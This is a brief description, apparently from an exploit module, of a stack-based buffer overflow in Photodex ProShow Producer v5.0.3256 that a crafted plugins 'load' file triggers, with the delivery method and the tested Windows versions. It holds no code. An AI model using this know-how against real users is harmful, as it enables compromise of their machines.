					This module exploits a stack-based buffer overflow in Photodex ProShow Producer
				v5.0.3256 in the handling of the plugins load list file. An attacker must send the
				crafted "load" file to victim, who must store it in the installation directory. The
				vulnerability will be triggered the next time ProShow is opened. The module has been
				tested successfully on Windows XP SP3 and Windows 7 SP1.
